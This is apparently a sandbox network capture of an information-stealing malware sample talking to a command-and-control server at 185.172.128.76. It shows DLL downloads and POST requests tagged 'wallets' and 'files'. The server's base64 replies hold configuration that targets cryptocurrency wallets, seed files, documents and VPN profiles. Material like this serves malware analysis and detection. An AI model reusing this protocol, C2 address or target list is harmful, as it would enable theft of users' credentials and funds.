00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Apr 25, 2024 14:42:11.764589071 CEST	98	OUT	GET /15f649199f40275b/vcruntime140.dll HTTP/1.1 Host: 185.172.128.76 Cache-Control: no-cache
Apr 25, 2024 14:42:12.084508896 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:11 GMT Content-Type: application/x-msdos-program Content-Length: 80880 Connection: keep-alive Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Apr 25, 2024 14:42:12.426103115 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDAKFBFBFBAAAAAEBKJ Host: 185.172.128.76 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:12.767855883 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:12.814483881 CEST	468	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAFHDBGHJKFIDHJJJEB Host: 185.172.128.76 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 38 35 63 37 39 64 35 32 34 64 33 37 63 61 36 30 39 39 39 31 66 65 32 39 36 36 39 37 30 30 31 32 34 64 63 35 64 37 30 64 35 37 31 62 62 35 37 34 38 31 31 36 33 36 63 31 35 66 61 31 61 39 30 35 32 37 32 61 32 37 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="token"8085c79d524d37ca609991fe29669700124dc5d70d571bb574811636c15fa1a905272a27------ECAFHDBGHJKFIDHJJJEBContent-Disposition: form-data; name="message"wallets------ECAFHDBGHJKFIDHJJJEB--
Apr 25, 2024 14:42:13.135463953 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2408 Connection: keep-alive Vary: Accept-Encoding Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 58 45 64 79 5a 57 56 75 58 48 64 68 62 47 78 6c 64 48 4e 63 66 43 6f 75 4b 6e 77 78 66 46 64 68 63 32 46 69 61 53 42 58 59 57 78 73 5a 58 52 38 4d 58 78 63 56 32 46 73 62 47 56 30 56 32 46 7a 59 57 4a 70 58 45 4e 73 61 57 56 75 64 46 78 58 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 6d 70 7a 62 32 35 38 4d 48 78 46 64 47 68 6c 63 6d 56 31 62 58 77 78 66 46 78 46 64 47 68 6c 63 6d 56 31 62 56 78 38 61 32 56 35 63 33 52 76 63 6d 56 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 58 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 56 78 33 59 57 78 73 5a 58 52 7a 58 48 77 71 4c 69 70 38 4d 48 78 46 62 47 56 6a 64 48 4a 31 62 55 78 55 51 33 77 78 66 46 78 46 62 47 56 6a 64 48 4a 31 62 53 31 4d 56 45 4e 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 52 58 68 76 5a 48 56 7a 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 38 5a 58 68 76 5a 48 56 7a 4c 6d 4e 76 62 6d 59 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 33 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 66 48 64 70 62 6d 52 76 64 79 31 7a 64 47 46 30 5a 53 35 71 63 32 39 75 66 44 42 38 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 38 4d 58 78 63 52 58 68 76 5a 48 56 7a 58 47 56 34 62 32 52 31 63 79 35 33 59 57 78 73 5a 58 52 63 66 48 42 68 63 33 4e 77 61 48 4a 68 63 32 55 75 61 6e 4e 76 62 6e 77 77 66 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 66 44 46 38 58 45 56 34 62 32 52 31 63 31 78 6c 65 47 39 6b 64 58 4d 75 64 32 46 73 62 47 56 30 58 48 78 7a 5a 57 56 6b 4c 6e 4e 6c 59 32 39 38 4d 48 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 48 77 78 66 46 78 46 65 47 39 6b 64 58 4e 63 5a 58 68 76 5a 48 56 7a 4c 6e 64 68 62 47 78 6c 64 46 78 38 61 57 35 6d 62 79 35 7a 5a 57 4e 76 66 44 42 38 52 57 78 6c 59 33 52 79 62 32 34 67 51 32 46 7a 61 48 77 78 66 46 78 46 62 47 56 6a 64 48 4a 76 62 6b 4e 68 63 32 68 63 64 32 46 73 62 47 56 30 63 31 78 38 4b 69 34 71 66 44 42 38 54 58 56 73 64 47 6c 45 62 32 64 6c 66 44 46 38 58 45 31 31 62 48 52 70 52 47 39 6e 5a 56 78 38 62 58 56 73 64 47 6c 6b 62 32 64 6c 4c 6e 64 68 62 47 78 6c 64 48 77 77 66 45 70 68 65 48 67 67 52 47 56 7a 61 33 52 76 63 43 41 6f 62 32 78 6b 4b 58 77 78 66 46 78 71 59 58 68 34 58 45 78 76 59 32 46 73 49 Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8XE11bHRpRG9nZVx8bXVsdGlkb2dlLndhbGxldHwwfEpheHggRGVza3RvcCAob2xkKXwxfFxqYXh4XExvY2FsI
Apr 25, 2024 14:42:13.138169050 CEST	466	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHIDHIEGIIIECAKEBFBA Host: 185.172.128.76 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 38 35 63 37 39 64 35 32 34 64 33 37 63 61 36 30 39 39 39 31 66 65 32 39 36 36 39 37 30 30 31 32 34 64 63 35 64 37 30 64 35 37 31 62 62 35 37 34 38 31 31 36 33 36 63 31 35 66 61 31 61 39 30 35 32 37 32 61 32 37 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 2d 2d 0d 0a Data Ascii: ------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="token"8085c79d524d37ca609991fe29669700124dc5d70d571bb574811636c15fa1a905272a27------DHIDHIEGIIIECAKEBFBAContent-Disposition: form-data; name="message"files------DHIDHIEGIIIECAKEBFBA--
Apr 25, 2024 14:42:13.457357883 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 2052 Connection: keep-alive Vary: Accept-Encoding Data Raw: 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 52 45 56 54 53 33 77 6c 52 45 56 54 53 31 52 50 55 43 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6e 42 75 5a 79 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 5a 47 59 73 4b 6d 4a 68 59 32 74 31 63 43 6f 75 63 47 35 6e 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 6b 5a 69 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 35 6e 4c 43 70 79 5a 57 4e 76 64 6d 56 79 4b 69 35 77 5a 47 59 73 4b 6d 31 6c 64 47 46 74 59 58 4e 72 4b 69 34 71 4c 43 70 56 56 45 4d 74 4c 53 6f 75 4b 6e 77 78 4e 54 41 77 66 44 46 38 4d 58 78 45 54 30 4e 54 66 43 56 45 54 30 4e 56 54 55 56 4f 56 46 4d 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 52 45 39 44 55 33 77 6c 52 45 39 44 56 55 31 46 54 6c 52 54 4a 56 78 38 4b 69 35 30 65 48 51 73 4b 69 35 6b 62 32 4e 34 4c 43 6f 75 65 47 78 7a 65 48 77 31 66 44 46 38 4d 58 78 53 52 55 4e 38 4a 56 4a 46 51 30 56 4f 56 43 56 63 66 43 6f 75 64 48 68 30 4c 43 6f 75 5a 47 39 6a 65 43 77 71 4c 6e 68 73 63 33 68 38 4e 58 77 78 66 44 46 38 55 6b 56 44 66 43 56 53 52 55 4e 46 54 6c 51 6c 58 48 77 71 64 32 46 73 62 47 56 30 4b 69 35 77 62 6d 63 73 4b 6e 64 68 62 47 78 6c 64 43 6f 75 63 47 52 6d 4c 43 70 69 59 57 4e 72 64 58 41 71 4c 6e 42 75 5a 79 77 71 59 6d 46 6a 61 33 56 77 4b 69 35 77 5a 47 59 73 4b 6e 4a 6c 59 32 39 32 5a 58 49 71 4c 6e 42 75 5a 79 77 71 63 6d 56 6a 62 33 5a 6c 63 69 6f 75 63 47 52 6d 4c 43 70 74 5a 58 52 68 62 57 46 7a 61 79 6f 75 4b 69 77 71 56 56 52 44 4c 53 30 71 4c 69 70 38 4d 54 55 77 4d 48 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 48 77 71 4c 6e 68 74 62 48 77 78 4e 58 77 78 66 44 46 38 54 6b 39 55 52 56 42 42 52 48 77 6c 51 56 42 51 52 45 46 55 51 53 56 63 54 6d 39 30 5a 58 42 68 5a 43 73 72 58 47 4a 68 59 32 74 31 63 46 78 38 4b 69 34 71 66 44 45 31 66 44 46 38 4d 58 78 54 56 55 4a 4d 53 55 31 46 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 54 64 57 4a 73 61 57 31 6c 49 46 52 6c 65 48 51 67 4d 31 78 4d 62 32 4e 68 62 46 78 54 5a 58 4e 7a 61 57 39 75 4c 6e 4e 31 59 6d 78 70 62 57 56 66 63 32 56 7a 63 32 6c 76 62 6c 78 38 4b 69 35 7a 64 57 4a 73 61 57 31 6c 58 79 70 38 4d 54 56 38 4d 58 77 78 66 46 5a 51 54 6c 39 44 61 58 4e 6a 62 31 5a 51 54 6e 77 6c 55 46 4a 50 52 31 4a 42 54 55 5a 4a 54 45 56 54 4a 56 78 63 4c 69 35 63 58 46 42 79 62 32 64 79 59 57 31 45 59 58 52 68 58 46 78 44 61 58 4e 6a 62 31 78 44 61 58 4e 6a 62 79 42 42 62 6e 6c 44 62 32 35 75 5a 57 4e 30 49 46 4e 6c 59 33 56 79 5a 53 42 4e 62 32 4a 70 62 47 6c 30 65 53 42 44 62 47 6c 6c 62 6e 52 63 55 48 4a 76 5a 6d 6c 73 5a 56 78 38 4b 69 35 34 62 57 78 38 4d 54 41 77 66 44 46 38 4d 48 78 57 55 45 35 66 52 6d 39 79 64 47 6c 75 5a 58 52 38 4a 56 42 53 54 30 64 53 51 55 31 47 53 Data Ascii: REVTS3wlREVTS1RPUCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8REVTS3wlREVTS1RPUCVcfCp3YWxsZXQqLnBuZywqd2FsbGV0Ki5wZGYsKmJhY2t1cCoucG5nLCpiYWNrdXAqLnBkZiwqcmVjb3ZlcioucG5nLCpyZWNvdmVyKi5wZGYsKm1ldGFtYXNrKi4qLCpVVEMtLSouKnwxNTAwfDF8MXxET0NTfCVET0NVTUVOVFMlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8RE9DU3wlRE9DVU1FTlRTJVx8Ki50eHQsKi5kb2N4LCoueGxzeHw1fDF8MXxSRUN8JVJFQ0VOVCVcfCoudHh0LCouZG9jeCwqLnhsc3h8NXwxfDF8UkVDfCVSRUNFTlQlXHwqd2FsbGV0Ki5wbmcsKndhbGxldCoucGRmLCpiYWNrdXAqLnBuZywqYmFja3VwKi5wZGYsKnJlY292ZXIqLnBuZywqcmVjb3ZlcioucGRmLCptZXRhbWFzayouKiwqVVRDLS0qLip8MTUwMHwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXHwqLnhtbHwxNXwxfDF8Tk9URVBBRHwlQVBQREFUQSVcTm90ZXBhZCsrXGJhY2t1cFx8Ki4qfDE1fDF8MXxTVUJMSU1FfCVBUFBEQVRBJVxTdWJsaW1lIFRleHQgM1xMb2NhbFxTZXNzaW9uLnN1YmxpbWVfc2Vzc2lvblx8Ki5zdWJsaW1lXyp8MTV8MXwxfFZQTl9DaXNjb1ZQTnwlUFJPR1JBTUZJTEVTJVxcLi5cXFByb2dyYW1EYXRhXFxDaXNjb1xDaXNjbyBBbnlDb25uZWN0IFNlY3VyZSBNb2JpbGl0eSBDbGllbnRcUHJvZmlsZVx8Ki54bWx8MTAwfDF8MHxWUE5fRm9ydGluZXR8JVBST0dSQU1GS
Apr 25, 2024 14:42:13.670334101 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEBGHDBKEBGIDHJJEHC Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:14.007802963 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:14.092359066 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCFIIEBKEGHJJJJJJDAA Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:14.447844028 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:14.462805033 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJK Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:14.802809000 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:15.901424885 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAE Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:16.236145020 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:16.243242025 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDG Host: 185.172.128.76 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:16.587302923 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 25, 2024 14:42:16.592767000 CEST	202	OUT	POST /3cd2b41cbde8fc9c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKKFBFIDGDBFHJJEHI Host: 185.172.128.76 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 25, 2024 14:42:16.929486990 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 12:42:16 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
